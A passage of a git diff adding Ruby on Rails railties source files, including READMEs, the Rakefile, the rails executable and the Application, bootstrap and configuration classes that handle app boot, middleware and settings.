+and encapsulates the business logic that is specific to your application. In \Rails,
+database-backed model classes are derived from ActiveRecord::Base. Active Record allows
+you to present the data from database rows as objects and embellish these data objects
+with business logic methods. Although most \Rails models are backed by a database, models
+can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
+provided by the ActiveModel module. You can read more about Active Record in its
+{README}[link:/activerecord/README.rdoc].
+
+The Controller layer is responsible for handling incoming HTTP requests and providing a
+suitable response. Usually this means returning \HTML, but \Rails controllers can also
+generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
+and render view templates in order to generate the appropriate HTTP response.
+
+In \Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of \Rails. You
+can read more about Action Pack in its {README}[link:/actionpack/README.rdoc].
+
+== Getting Started
+
+1. Install \Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new \Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to +myapp+ and start the web server:
+
+ cd myapp; rails server
+
+ Run with <tt>--help</tt> or <tt>-h</tt> for options.
+
+4. Go to http://localhost:3000 and you'll see:
+
+ "Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find the following resources handy:
+
+* The README file created within your application.
+* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
+* {Ruby on \Rails Tutorial}[http://ruby.railstutorial.org/ruby-on-rails-tutorial-book].
+* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
+* {The API Documentation}[http://api.rubyonrails.org].
+
+== Contributing
+
+We encourage you to contribute to Ruby on \Rails! Please check out the {Contributing to Rails
+guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
+to proceed. {Join us}[http://contributors.rubyonrails.org]!
+
+
+== License
+
+Ruby on \Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].
diff --git a/railties/README.rdoc b/railties/README.rdoc
new file mode 100644
index 0000000..6248b5f
--- /dev/null
+++ b/railties/README.rdoc
@@ -0,0 +1,37 @@
+= Railties -- Gluing the Engine to the Rails
+
+Railties is responsible for gluing all frameworks together. Overall, it:
+
+* handles the bootstrapping process for a Rails application;
+
+* manages the +rails+ command line interface;
+
+* and provides the Rails generators core.
+
+
+== Download
+
+The latest version of Railties can be installed with RubyGems:
+
+* gem install railties
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/railties
+
+== License
+
+Railties is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
diff --git a/railties/Rakefile b/railties/Rakefile
new file mode 100644
index 0000000..4789f41
--- /dev/null
+++ b/railties/Rakefile
@@ -0,0 +1,62 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+require 'date'
+require 'rbconfig'
+
+
+task :default => :test
+
+desc "Run all unit tests"
+task :test => 'test:isolated'
+
+namespace :test do
+ task :isolated do
+ dirs = (ENV["TEST_DIR"] || ENV["TEST_DIRS"] || "**").split(",")
+ test_files = dirs.map { |dir| "test/#{dir}/*_test.rb" }
+ Dir[*test_files].each do |file|
+ next true if file.include?("fixtures")
+ dash_i = [
+ 'test',
+ 'lib',
+ "#{File.dirname(__FILE__)}/../activesupport/lib",
+ "#{File.dirname(__FILE__)}/../actionpack/lib",
+ "#{File.dirname(__FILE__)}/../activemodel/lib"
+ ]
+ ruby "-w", "-I#{dash_i.join ':'}", file
+ end
+ end
+end
+
+Rake::TestTask.new('test:regular') do |t|
+ t.libs << 'test' << "#{File.dirname(__FILE__)}/../activesupport/lib"
+ t.pattern = 'test/**/*_test.rb'
+ t.warning = true
+ t.verbose = true
+end
+
+# Update spinoffs -------------------------------------------------------------------
+
+desc "Updates application README to the latest version Railties README"
+task :update_readme do
+ readme = "lib/rails/generators/rails/app/templates/README"
+ rm readme
+ cp "./README.rdoc", readme
+end
+
+# Generate GEM ----------------------------------------------------------------------------
+
+spec = eval(File.read('railties.gemspec'))
+
+Gem::PackageTask.new(spec) do |pkg|
+ pkg.gem_spec = spec
+end
+
+# Publishing -------------------------------------------------------
+
+desc "Release to gemcutter"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/railties/bin/rails b/railties/bin/rails
new file mode 100755
index 0000000..b3026e8
--- /dev/null
+++ b/railties/bin/rails
@@ -0,0 +1,9 @@
+#!/usr/bin/env ruby
+
+git_path = File.join(File.expand_path('../../..', __FILE__), '.git')
+
+if File.exists?(git_path)
+ railties_path = File.expand_path('../../lib', __FILE__)
+ $:.unshift(railties_path)
+end
+require "rails/cli"
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
new file mode 100644
index 0000000..bb98bbe
--- /dev/null
+++ b/railties/lib/rails.rb
@@ -0,0 +1,93 @@
+require 'rails/ruby_version_check'
+
+require 'pathname'
+
+require 'active_support'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/array/extract_options'
+
+require 'rails/application'
+require 'rails/version'
+require 'rails/deprecation'
+
+require 'active_support/railtie'
+require 'action_dispatch/railtie'
+
+# For Ruby 1.9, UTF-8 is the default internal and external encoding.
+silence_warnings do
+ Encoding.default_external = Encoding::UTF_8
+ Encoding.default_internal = Encoding::UTF_8
+end
+
+module Rails
+ autoload :Info, 'rails/info'
+ autoload :InfoController, 'rails/info_controller'
+ autoload :WelcomeController, 'rails/welcome_controller'
+
+ class << self
+ attr_accessor :application, :cache, :logger
+
+ # The Configuration instance used to configure the Rails environment
+ def configuration
+ application.config
+ end
+
+ def initialize!
+ application.initialize!
+ end
+
+ def initialized?
+ application.initialized?
+ end
+
+ def backtrace_cleaner
+ @backtrace_cleaner ||= begin
+ # Relies on Active Support, so we have to lazy load to postpone definition until AS has been loaded
+ require 'rails/backtrace_cleaner'
+ Rails::BacktraceCleaner.new
+ end
+ end
+
+ def root
+ application && application.config.root
+ end
+
+ def env
+ @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development")
+ end
+
+ def env=(environment)
+ @_env = ActiveSupport::StringInquirer.new(environment)
+ end
+
+ # Returns all rails groups for loading based on:
+ #
+ # * The Rails environment;
+ # * The environment variable RAILS_GROUPS;
+ # * The optional envs given as argument and the hash with group dependencies;
+ #
+ # groups assets: [:development, :test]
+ #
+ # # Returns
+ # # => [:default, :development, :assets] for Rails.env == "development"
+ # # => [:default, :production] for Rails.env == "production"
+ def groups(*groups)
+ hash = groups.extract_options!
+ env = Rails.env
+ groups.unshift(:default, env)
+ groups.concat ENV["RAILS_GROUPS"].to_s.split(",")
+ groups.concat hash.map { |k,v| k if v.map(&:to_s).include?(env) }
+ groups.compact!
+ groups.uniq!
+ groups
+ end
+
+ def version
+ VERSION::STRING
+ end
+
+ def public_path
+ application && Pathname.new(application.paths["public"].first)
+ end
+ end
+end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
new file mode 100644
index 0000000..6c9c53f
--- /dev/null
+++ b/railties/lib/rails/all.rb
@@ -0,0 +1,14 @@
+require "rails"
+
+%w(
+ active_record
+ action_controller
+ action_mailer
+ rails/test_unit
+ sprockets
+).each do |framework|
+ begin
+ require "#{framework}/railtie"
+ rescue LoadError
+ end
+end
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
new file mode 100644
index 0000000..c829873
--- /dev/null
+++ b/railties/lib/rails/api/task.rb
@@ -0,0 +1,158 @@
+require 'rdoc/task'
+
+module Rails
+ module API
+ class Task < RDoc::Task
+ RDOC_FILES = {
+ 'activesupport' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ lib/active_support/**/*.rb
+ ),
+ :exclude => 'lib/active_support/vendor/*'
+ },
+
+ 'activerecord' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ lib/active_record/**/*.rb
+ ),
+ :exclude => 'lib/active_record/vendor/*'
+ },
+
+ 'activemodel' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ lib/active_model/**/*.rb
+ )
+ },
+
+ 'actionpack' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ lib/abstract_controller/**/*.rb
+ lib/action_controller/**/*.rb
+ lib/action_dispatch/**/*.rb
+ lib/action_view/**/*.rb
+ ),
+ :exclude => 'lib/action_controller/vendor/*'
+ },
+
+ 'actionmailer' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ lib/action_mailer/**/*.rb
+ ),
+ :exclude => 'lib/action_mailer/vendor/*'
+ },
+
+ 'railties' => {
+ :include => %w(
+ README.rdoc
+ CHANGELOG.md
+ MIT-LICENSE
+ lib/**/*.rb
+ ),
+ :exclude => 'lib/rails/generators/rails/**/templates/**/*.rb'
+ }
+ }
+
+ def initialize(name)
+ super
+
+ # Every time rake runs this task is instantiated as all the rest.
+ # Be lazy computing stuff to have as light impact as possible to
+ # the rest of tasks.
+ before_running_rdoc do
+ load_and_configure_sdoc
+ configure_rdoc_files
+ setup_horo_variables
+ end
+ end
+
+ # Hack, ignore the desc calls performed by the original initializer.
+ def desc(description)
+ # no-op
+ end
+
+ def load_and_configure_sdoc
+ require 'sdoc'
+
+ self.title = 'Ruby on Rails API'
+ self.rdoc_dir = api_dir
+
+ options << '-m' << api_main
+ options << '-e' << 'UTF-8'
+
+ options << '-f' << 'sdoc'
+ options << '-T' << 'rails'
+ rescue LoadError
+ $stderr.puts %(Unable to load SDoc, please add\n\n gem 'sdoc', require: false\n\nto the Gemfile.)
+ exit 1
+ end
+
+ def configure_rdoc_files
+ rdoc_files.include(api_main)
+
+ RDOC_FILES.each do |component, cfg|
+ cdr = component_root_dir(component)
+
+ Array(cfg[:include]).each do |pattern|
+ rdoc_files.include("#{cdr}/#{pattern}")
+ end
+
+ Array(cfg[:exclude]).each do |pattern|
+ rdoc_files.exclude("#{cdr}/#{pattern}")
+ end
+ end
+ end
+
+ def setup_horo_variables
+ ENV['HORO_PROJECT_NAME'] = 'Ruby on Rails'
+ ENV['HORO_PROJECT_VERSION'] = rails_version
+ end
+
+ def api_main
+ component_root_dir('railties') + '/RDOC_MAIN.rdoc'
+ end
+ end
+
+ class RepoTask < Task
+ def load_and_configure_sdoc
+ super
+ options << '-g' # link to GitHub, SDoc flag
+ end
+
+ def component_root_dir(component)
+ component
+ end
+
+ def api_dir
+ 'doc/rdoc'
+ end
+
+ def rails_version
+ "master@#{`git rev-parse HEAD`[0, 7]}"
+ end
+ end
+
+ class AppTask < Task
+ def component_root_dir(gem_name)
+ $:.grep(%r{#{gem_name}[\w.-]*/lib\z}).first[0..-5]
+ end
+
+ def api_dir
+ 'doc/api'
+ end
+
+ def rails_version
+ Rails::VERSION::STRING
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_rails_loader.rb
new file mode 100644
index 0000000..4a17803
--- /dev/null
+++ b/railties/lib/rails/app_rails_loader.rb
@@ -0,0 +1,61 @@
+require 'pathname'
+
+module Rails
+ module AppRailsLoader
+ RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
+ EXECUTABLES = ['bin/rails', 'script/rails']
+ BUNDLER_WARNING = <<EOS
+Looks like your app's ./bin/rails is a stub that was generated by Bundler.
+
+In Rails 4, your app's bin/ directory contains executables that are versioned
+like any other source code, rather than stubs that are generated on demand.
+
+Here's how to upgrade:
+
+ bundle config --delete bin # Turn off Bundler's stub generator
+ rake rails:update:bin # Use the new Rails 4 executables
+ git add bin # Add bin/ to source control
+
+You may need to remove bin/ from your .gitignore as well.
+
+When you install a gem whose executable you want to use in your app,
+generate it and add it to source control:
+
+ bundle binstubs some-gem-name
+ git add bin/new-executable
+
+EOS
+
+ def self.exec_app_rails
+ original_cwd = Dir.pwd
+
+ loop do
+ if exe = find_executable
+ contents = File.read(exe)
+
+ if contents =~ /(APP|ENGINE)_PATH/
+ exec RUBY, exe, *ARGV
+ break # non reachable, hack to be able to stub exec in the test suite
+ elsif exe.end_with?('bin/rails') && contents.include?('This file was generated by Bundler')
+ $stderr.puts(BUNDLER_WARNING)
+ Object.const_set(:APP_PATH, File.expand_path('config/application', Dir.pwd))
+ require File.expand_path('../boot', APP_PATH)
+ require 'rails/commands'
+ break
+ end
+ end
+
+ # If we exhaust the search there is no executable, this could be a
+ # call to generate a new application, so restore the original cwd.
+ Dir.chdir(original_cwd) and return if Pathname.new(Dir.pwd).root?
+
+ # Otherwise keep moving upwards in search of a executable.
+ Dir.chdir('..')
+ end
+ end
+
+ def self.find_executable
+ EXECUTABLES.find { |exe| File.exists?(exe) }
+ end
+ end
+end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
new file mode 100644
index 0000000..2d5aa9d
--- /dev/null
+++ b/railties/lib/rails/application.rb
@@ -0,0 +1,406 @@
+require 'fileutils'
+require 'active_support/core_ext/object/blank'
+require 'active_support/key_generator'
+require 'rails/engine'
+
+module Rails
+ # In Rails 3.0, a Rails::Application object was introduced which is nothing more than
+ # an Engine but with the responsibility of coordinating the whole boot process.
+ #
+ # == Initialization
+ #
+ # Rails::Application is responsible for executing all railties and engines
+ # initializers. It also executes some bootstrap initializers (check
+ # Rails::Application::Bootstrap) and finishing initializers, after all the others
+ # are executed (check Rails::Application::Finisher).
+ #
+ # == Configuration
+ #
+ # Besides providing the same configuration as Rails::Engine and Rails::Railtie,
+ # the application object has several specific configurations, for example
+ # "cache_classes", "consider_all_requests_local", "filter_parameters",
+ # "logger" and so forth.
+ #
+ # Check Rails::Application::Configuration to see them all.
+ #
+ # == Routes
+ #
+ # The application object is also responsible for holding the routes and reloading routes
+ # whenever the files change in development.
+ #
+ # == Middlewares
+ #
+ # The Application is also responsible for building the middleware stack.
+ #
+ # == Booting process
+ #
+ # The application is also responsible for setting up and executing the booting
+ # process. From the moment you require "config/application.rb" in your app,
+ # the booting process goes like this:
+ #
+ # 1) require "config/boot.rb" to setup load paths
+ # 2) require railties and engines
+ # 3) Define Rails.application as "class MyApp::Application < Rails::Application"
+ # 4) Run config.before_configuration callbacks
+ # 5) Load config/environments/ENV.rb
+ # 6) Run config.before_initialize callbacks
+ # 7) Run Railtie#initializer defined by railties, engines and application.
+ # One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
+ # 8) Custom Railtie#initializers added by railties, engines and applications are executed
+ # 9) Build the middleware stack and run to_prepare callbacks
+ # 10) Run config.before_eager_load and eager_load! if eager_load is true
+ # 11) Run config.after_initialize callbacks
+ #
+ class Application < Engine
+ autoload :Bootstrap, 'rails/application/bootstrap'
+ autoload :Configuration, 'rails/application/configuration'
+ autoload :Finisher, 'rails/application/finisher'
+ autoload :Railties, 'rails/engine/railties'
+ autoload :RoutesReloader, 'rails/application/routes_reloader'
+
+ class << self
+ def inherited(base)
+ raise "You cannot have more than one Rails::Application" if Rails.application
+ super
+ Rails.application = base.instance
+ Rails.application.add_lib_to_load_path!
+ ActiveSupport.run_load_hooks(:before_configuration, base.instance)
+ end
+ end
+
+ attr_accessor :assets, :sandbox
+ alias_method :sandbox?, :sandbox
+ attr_reader :reloaders
+
+ delegate :default_url_options, :default_url_options=, to: :routes
+
+ def initialize
+ super
+ @initialized = false
+ @reloaders = []
+ @routes_reloader = nil
+ @app_env_config = nil
+ @ordered_railties = nil
+ @railties = nil
+ end
+
+ # Returns true if the application is initialized.
+ def initialized?
+ @initialized
+ end
+
+ # Implements call according to the Rack API. It simply
+ # dispatches the request to the underlying middleware stack.
+ def call(env)
+ env["ORIGINAL_FULLPATH"] = build_original_fullpath(env)
+ super(env)
+ end
+
+ # Reload application routes regardless if they changed or not.
+ def reload_routes!
+ routes_reloader.reload!
+ end
+
+
+ # Return the application's KeyGenerator
+ def key_generator
+ # number of iterations selected based on consultation with the google security
+ # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
+ @caching_key_generator ||= begin
+ if config.secret_key_base
+ key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+ ActiveSupport::CachingKeyGenerator.new(key_generator)
+ else
+ ActiveSupport::LegacyKeyGenerator.new(config.secret_token)
+ end
+ end
+ end
+
+ # Stores some of the Rails initial environment parameters which
+ # will be used by middlewares and engines to configure themselves.
+ # Currently stores:
+ #
+ # * "action_dispatch.parameter_filter" => config.filter_parameters
+ # * "action_dispatch.redirect_filter" => config.filter_redirect
+ # * "action_dispatch.secret_token" => config.secret_token
+ # * "action_dispatch.secret_key_base" => config.secret_key_base
+ # * "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
+ # * "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local
+ # * "action_dispatch.logger" => Rails.logger
+ # * "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner
+ # * "action_dispatch.key_generator" => key_generator
+ # * "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt
+ # * "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt
+ # * "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt
+ # * "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+ #
+ def env_config
+ @app_env_config ||= begin
+ if config.secret_key_base.blank?
+ ActiveSupport::Deprecation.warn "You didn't set config.secret_key_base. " +
+ "Read the upgrade documentation to learn more about this new config option."
+
+ if config.secret_token.blank?
+ raise "You must set config.secret_key_base in your app's config."
+ end
+ end
+
+ super.merge({
+ "action_dispatch.parameter_filter" => config.filter_parameters,
+ "action_dispatch.redirect_filter" => config.filter_redirect,
+ "action_dispatch.secret_token" => config.secret_token,
+ "action_dispatch.secret_key_base" => config.secret_key_base,
+ "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+ "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+ "action_dispatch.logger" => Rails.logger,
+ "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner,
+ "action_dispatch.key_generator" => key_generator,
+ "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
+ "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
+ "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
+ "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+ })
+ end
+ end
+
+ ## Rails internal API
+
+ # This method is called just after an application inherits from Rails::Application,
+ # allowing the developer to load classes in lib and use them during application
+ # configuration.
+ #
+ # class MyApplication < Rails::Application
+ # require "my_backend" # in lib/my_backend
+ # config.i18n.backend = MyBackend
+ # end
+ #
+ # Notice this method takes into consideration the default root path. So if you
+ # are changing config.root inside your application definition or having a custom
+ # Rails application, you will need to add lib to $LOAD_PATH on your own in case
+ # you need to load files in lib/ during the application configuration as well.
+ def add_lib_to_load_path! #:nodoc:
+ path = File.join config.root, 'lib'
+ $LOAD_PATH.unshift(path) if File.exists?(path)
+ end
+
+ def require_environment! #:nodoc:
+ environment = paths["config/environment"].existent.first
+ require environment if environment
+ end
+
+ def routes_reloader #:nodoc:
+ @routes_reloader ||= RoutesReloader.new
+ end
+
+ # Returns an array of file paths appended with a hash of
+ # directories-extensions suitable for ActiveSupport::FileUpdateChecker
+ # API.
+ def watchable_args #:nodoc:
+ files, dirs = config.watchable_files.dup, config.watchable_dirs.dup
+
+ ActiveSupport::Dependencies.autoload_paths.each do |path|
+ dirs[path.to_s] = [:rb]
+ end
+
+ [files, dirs]
+ end
+
+ # Initialize the application passing the given group. By default, the
+ # group is :default but sprockets precompilation passes group equals
+ # to assets if initialize_on_precompile is false to avoid booting the
+ # whole app.
+ def initialize!(group=:default) #:nodoc:
+ raise "Application has been already initialized." if @initialized
+ run_initializers(group, self)
+ @initialized = true
+ self
+ end
+
+ def initializers #:nodoc:
+ Bootstrap.initializers_for(self) +
+ railties_initializers(super) +
+ Finisher.initializers_for(self)
+ end
+
+ def config #:nodoc:
+ @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
+ end
+
+ def to_app #:nodoc:
+ self
+ end
+
+ def helpers_paths #:nodoc:
+ config.helpers_paths
+ end
+
+ protected
+
+ alias :build_middleware_stack :app
+
+ def run_tasks_blocks(app) #:nodoc:
+ railties.each { |r| r.run_tasks_blocks(app) }
+ super
+ require "rails/tasks"
+ config = self.config
+ task :environment do
+ config.eager_load = false
+ require_environment!
+ end
+ end
+
+ def run_generators_blocks(app) #:nodoc:
+ railties.each { |r| r.run_generators_blocks(app) }
+ super
+ end
+
+ def run_runner_blocks(app) #:nodoc:
+ railties.each { |r| r.run_runner_blocks(app) }
+ super
+ end
+
+ def run_console_blocks(app) #:nodoc:
+ railties.each { |r| r.run_console_blocks(app) }
+ super
+ end
+
+ # Returns the ordered railties for this application considering railties_order.
+ def ordered_railties #:nodoc:
+ @ordered_railties ||= begin
+ order = config.railties_order.map do |railtie|
+ if railtie == :main_app
+ self
+ elsif railtie.respond_to?(:instance)
+ railtie.instance
+ else
+ railtie
+ end
+ end
+
+ all = (railties - order)
+ all.push(self) unless (all + order).include?(self)
+ order.push(:all) unless order.include?(:all)
+
+ index = order.index(:all)
+ order[index] = all
+ order.reverse.flatten
+ end
+ end
+
+ def railties_initializers(current) #:nodoc:
+ initializers = []
+ ordered_railties.each do |r|
+ if r == self
+ initializers += current
+ else
+ initializers += r.initializers
+ end
+ end
+ initializers
+ end
+
+ def reload_dependencies? #:nodoc:
+ config.reload_classes_only_on_change != true || reloaders.map(&:updated?).any?
+ end
+
+ def default_middleware_stack #:nodoc:
+ ActionDispatch::MiddlewareStack.new.tap do |middleware|
+ app = self
+
+ if rack_cache = load_rack_cache
+ require "action_dispatch/http/rack_cache"
+ middleware.use ::Rack::Cache, rack_cache
+ end
+
+ if config.force_ssl
+ middleware.use ::ActionDispatch::SSL, config.ssl_options
+ end
+
+ if config.action_dispatch.x_sendfile_header.present?
+ middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+ end
+
+ if config.serve_static_assets
+ middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
+ end
+
+ middleware.use ::Rack::Lock unless allow_concurrency?
+ middleware.use ::Rack::Runtime
+ middleware.use ::Rack::MethodOverride
+ middleware.use ::ActionDispatch::RequestId
+
+ # Must come after Rack::MethodOverride to properly log overridden methods
+ middleware.use ::Rails::Rack::Logger, config.log_tags
+ middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
+ middleware.use ::ActionDispatch::DebugExceptions, app
+ middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
+
+ unless config.cache_classes
+ middleware.use ::ActionDispatch::Reloader, lambda { app.reload_dependencies? }
+ end
+
+ middleware.use ::ActionDispatch::Callbacks
+ middleware.use ::ActionDispatch::Cookies
+
+ if config.session_store
+ if config.force_ssl && !config.session_options.key?(:secure)
+ config.session_options[:secure] = true
+ end
+ middleware.use config.session_store, config.session_options
+ middleware.use ::ActionDispatch::Flash
+ end
+
+ middleware.use ::ActionDispatch::ParamsParser
+ middleware.use ::Rack::Head
+ middleware.use ::Rack::ConditionalGet
+ middleware.use ::Rack::ETag, "no-cache"
+ end
+ end
+
+ def allow_concurrency?
+ if config.allow_concurrency.nil?
+ config.cache_classes
+ else
+ config.allow_concurrency
+ end
+ end
+
+ def load_rack_cache
+ rack_cache = config.action_dispatch.rack_cache
+ return unless rack_cache
+
+ begin
+ require 'rack/cache'
+ rescue LoadError => error
+ error.message << ' Be sure to add rack-cache to your Gemfile'
+ raise
+ end
+
+ if rack_cache == true
+ {
+ metastore: "rails:/",
+ entitystore: "rails:/",
+ verbose: false
+ }
+ else
+ rack_cache
+ end
+ end
+
+ def show_exceptions_app
+ config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+ end
+
+ def build_original_fullpath(env) #:nodoc:
+ path_info = env["PATH_INFO"]
+ query_string = env["QUERY_STRING"]
+ script_name = env["SCRIPT_NAME"]
+
+ if query_string.present?
+ "#{script_name}#{path_info}?#{query_string}"
+ else
+ "#{script_name}#{path_info}"
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
new file mode 100644
index 0000000..62d57c0
--- /dev/null
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -0,0 +1,79 @@
+require "active_support/notifications"
+require "active_support/dependencies"
+require "active_support/descendants_tracker"
+
+module Rails
+ class Application
+ module Bootstrap
+ include Initializable
+
+ initializer :load_environment_hook, group: :all do end
+
+ initializer :load_active_support, group: :all do
+ require "active_support/all" unless config.active_support.bare
+ end
+
+ initializer :set_eager_load, group: :all do
+ if config.eager_load.nil?
+ warn <<-INFO
+config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
+
+ * development - set it to false
+ * test - set it to false (unless you use a tool that preloads your test environment)
+ * production - set it to true
+
+INFO
+ config.eager_load = config.cache_classes
+ end
+ end
+
+ # Initialize the logger early in the stack in case we need to log some deprecation.
+ initializer :initialize_logger, group: :all do
+ Rails.logger ||= config.logger || begin
+ path = config.paths["log"].first
+ unless File.exist? File.dirname path
+ FileUtils.mkdir_p File.dirname path
+ end
+
+ f = File.open path, 'a'
+ f.binmode
+ f.sync = config.autoflush_log # if true make sure every write flushes
+
+ logger = ActiveSupport::Logger.new f
+ logger.formatter = config.log_formatter
+ logger = ActiveSupport::TaggedLogging.new(logger)
+ logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
+ logger
+ rescue StandardError
+ logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
+ logger.level = ActiveSupport::Logger::WARN
+ logger.warn(
+ "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
+ "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
+ )
+ logger
+ end
+ end
+
+ # Initialize cache early in the stack so railties can make use of it.
+ initializer :initialize_cache, group: :all do
+ unless Rails.cache
+ Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store)
+
+ if Rails.cache.respond_to?(:middleware)
+ config.middleware.insert_before("Rack::Runtime", Rails.cache.middleware)
+ end
+ end
+ end
+
+ # Sets the dependency loading mechanism.
+ initializer :initialize_dependency_mechanism, group: :all do
+ ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
+ end
+
+ initializer :bootstrap_hook, group: :all do |app|
+ ActiveSupport.run_load_hooks(:before_initialize, app)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
new file mode 100644
index 0000000..31fc80e
--- /dev/null
+++ b/railties/lib/rails/application/configuration.rb
@@ -0,0 +1,159 @@
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/file_update_checker'
+require 'rails/engine/configuration'
+
+module Rails
+ class Application
+ class Configuration < ::Rails::Engine::Configuration
+ attr_accessor :allow_concurrency, :asset_host, :assets, :autoflush_log,
+ :cache_classes, :cache_store, :consider_all_requests_local, :console,
+ :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
+ :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
+ :railties_order, :relative_url_root, :secret_key_base, :secret_token,
+ :serve_static_assets, :ssl_options, :static_cache_control, :session_options,
+ :time_zone, :reload_classes_only_on_change,
+ :beginning_of_week, :filter_redirect
+
+ attr_writer :log_level
+ attr_reader :encoding
+
+ def initialize(*)
+ super
+ self.encoding = "utf-8"
+ @allow_concurrency = nil
+ @consider_all_requests_local = false
+ @filter_parameters = []
+ @filter_redirect = []
+ @helpers_paths = []
+ @serve_static_assets = true
+ @static_cache_control = nil
+ @force_ssl = false
+ @ssl_options = {}
+ @session_store = :cookie_store
+ @session_options = {}
+ @time_zone = "UTC"
+ @beginning_of_week = :monday
+ @log_level = nil
+ @middleware = app_middleware
+ @generators = app_generators
+ @cache_store = [ :file_store, "#{root}/tmp/cache/" ]
+ @railties_order = [:all]
+ @relative_url_root = ENV["RAILS_RELATIVE_URL_ROOT"]
+ @reload_classes_only_on_change = true
+ @file_watcher = ActiveSupport::FileUpdateChecker
+ @exceptions_app = nil
+ @autoflush_log = true
+ @log_formatter = ActiveSupport::Logger::SimpleFormatter.new
+ @eager_load = nil
+ @secret_token = nil
+ @secret_key_base = nil
+
+ @assets = ActiveSupport::OrderedOptions.new
+ @assets.enabled = true
+ @assets.paths = []
+ @assets.precompile = [ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
+ /(?:\/|\\|\A)application\.(css|js)$/ ]
+ @assets.prefix = "/assets"
+ @assets.version = '1.0'
+ @assets.debug = false
+ @assets.compile = true
+ @assets.digest = false
+ @assets.cache_store = [ :file_store, "#{root}/tmp/cache/assets/#{Rails.env}/" ]
+ @assets.js_compressor = nil
+ @assets.css_compressor = nil
+ @assets.initialize_on_precompile = true
+ @assets.logger = nil
+ end
+
+ def encoding=(value)
+ @encoding = value
+ silence_warnings do
+ Encoding.default_external = value
+ Encoding.default_internal = value
+ end
+ end
+
+ def paths
+ @paths ||= begin
+ paths = super
+ paths.add "config/database", with: "config/database.yml"
+ paths.add "config/environment", with: "config/environment.rb"
+ paths.add "lib/templates"
+ paths.add "log", with: "log/#{Rails.env}.log"
+ paths.add "public"
+ paths.add "public/javascripts"
+ paths.add "public/stylesheets"
